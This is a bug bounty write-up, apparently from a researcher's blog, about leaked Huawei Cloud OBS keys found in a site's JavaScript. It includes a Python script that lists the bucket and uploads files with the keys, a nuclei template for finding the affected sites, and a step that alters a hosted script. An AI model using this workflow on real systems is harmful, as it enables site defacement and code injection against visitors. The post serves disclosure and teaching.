Exposed secret keys leading to multiple site defacement for $800

leaked keys

Finding secret keys in a JS file—this is like finding money in a trashcan. Yeah that’s a JavaScript is trash joke.

Revisiting another old report.

I found exposed secret keys in a inconspicious JavaScript file at river.[redacted].com, which could allow a malicious actor to deface multiple websites of a entertainment platform in the Philippines.

And I got $800 out of it.


Doing my usual poking-around after work, I found this seemingly new, but otherwise normal-looking website of my target.

I checked the website out, did my usual fuzzing and find nothing. I couldn’t even tell what the website does—I couldn’t get past the login screen.

I inspected the source code, opened its JS files, and checked for any API calls, and I found nothing of interest. Then I did a global text search for _key, just in case some lazy developer didn’t bother configuring their secret keys properly.

var define_import_meta_env_default$1 = {
...
	VITE_OBS_BUCKET_NAME: "dl-patch-river-com",
	VITE_OBS_PATH_PREFIX: "mgames/nhk/common/events/",
	VITE_OBS_ACCESS_KEY: "ATXC1DVXV2[redacted]",
	VITE_OBS_SECRET_KEY: "EQnZvv1HfpEoT62[redacted]",
...
};

Well I be damned

Interesting. But I have no idea what these keys are for. Looking up “OBS”, Huawei Cloud OBS turns up.

Huawei Cloud Object Storage Service

Huawei Cloud OBS—is a file bucket storage service by Huawei Cloud. It’s basically an alternative to Amazon S3 and Google Cloud Storage.

They also have a Python SDK esdk-obs-python, which should make it easier for me to write a Python exploit script.

Testing the leaked keys

Testing read access

I wrote a simple Python script that lists down all of the contents of the bucket:

# obs.py
from obs import ObsClient


if __name__ == "__main__":
    access_key = "ATXC1D[redacted]"
    secret_key = "EQnZvv1HfpEoT6[redacted]"
    bucket = "dl-patch-[redacted]-com"
    server = "https://obs.ap-southeast-3.myhuaweicloud.com/"
    region = "ap-southeast-3"

    prefix = "mgames/nhk/common/events/"
    
    obsClient = ObsClient(
        access_key_id=access_key,
        secret_access_key=secret_key,
        server=server
    )

    objects = obsClient.listObjects(bucket)
    for obj in objects.body.contents:
        print(obj.url)
    
    obsClient.close()

Running the script, I was able to fetch the contents of the bucket which contains 5,000+ objects:

https://dl.[redacted].com/mgames/nhk/common/events/2023/
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/bootstrap-grid.css
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/bootstrap-grid.css.map
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/bootstrap-reboot.css
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/bootstrap-reboot.css.map
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/bootstrap-utilities.css
https://dl.[redacted].com/mgames/nhk/common/events/2023/css/bootstrap-utilities.css.map
https://dl.[redacted].com/mgames/nhk/common/events/2023/fonts/
https://dl.[redacted].com/mgames/nhk/common/events/2023/fonts/AgencyFB-Black.eot
https://dl.[redacted].com/mgames/nhk/common/events/2023/fonts/AgencyFB-Black.svg
https://dl.[redacted].com/mgames/nhk/common/events/2023/fonts/AgencyFB-Black.ttf
https://dl.[redacted].com/mgames/nhk/common/events/2023/fonts/AgencyFB-Black.wof
...[redacted for brevity]...

The keys worked!

Testing write access

I adjusted the script to upload an HTML file to the bucket

    target_file = f"{prefix}/tedminfosec.html"
    local_file = "./tedminfosec.html"
    print(f"Uploading {local_file} to {target_file}")
    obsClient.putFile(bucket, target_file, local_file)

And sure enough, my HTML file was uploaded to the bucket!

html file

Important observation

Understanding the potential impact

Knowing that my target has thousands of domains, I asked myself:

Analyzing the leak, a notable configuration setting is the VITE_OBS_PATH_PREFIX, which has the value mgames/nhk/common/events/.

This means I have to identify all websites that contain mgames/nhk/common/events/ in their source code. To do that, I used nuclei with a custom template.

Writing a custom nuclei template

Nuclei is a fast, customizable vulnerability scanner but has a somewhat bad rap in the bug bounty community because a lot of researchers get dupes from it. That’s simply bound to happen if everyone uses the same templates!

I think nuclei is best used for low-hanging bugs and custom templates that you write yourself. Writing effective custom templates, however, requires a deep understanding of the target.

Here’s my custom template to identify the websites that use the compromised storage bucket:

id: obs-leak 
info:
  name: OBS Leak
  author: tedm.infosec
  severity: info
requests:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words: 
          - "mgames/nhk/common/events/"
        part: body

With the list of live subdomains of [redacted].com in http.txt, I pipe it into nuclei like so:

cat http.txt | nuclei -t ~/custom-nuclei-templates/adhoc/tmp.yaml
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.1.10

                projectdiscovery.io

[WRN] Found 1 templates loaded with deprecated protocol syntax, update before v3 for continued support.
[INF] Current nuclei version: v3.1.10 (outdated)
[INF] Current nuclei-templates version: v10.1.2 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 52
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 6004
[obs-leak] [http] [info] https://console.df.[redacted].com/
[obs-leak] [http] [info] https://voting.df.[redacted].com/
[obs-leak] [http] [info] https://members.[redacted].com/
[obs-leak] [http] [info] https://connect.16273.[redacted].com/
...[redacted for brevity]...

Running arbitrary JavaScript in one of their websites

I chose one seemingly unimportant website from the list of websites detected by nuclei. Then I identified the JS file hosted from the bucket, updated its code so it prints out hello from tedminfosec in the console:

proof of concept

It works.

Responsible disclosure

Now that I have a good proof-of-concept to show that I compromised their website, I submitted a report detailing my exploit through their HackerOne of the company. A few weeks later I receive a reply:

reward

Takeaways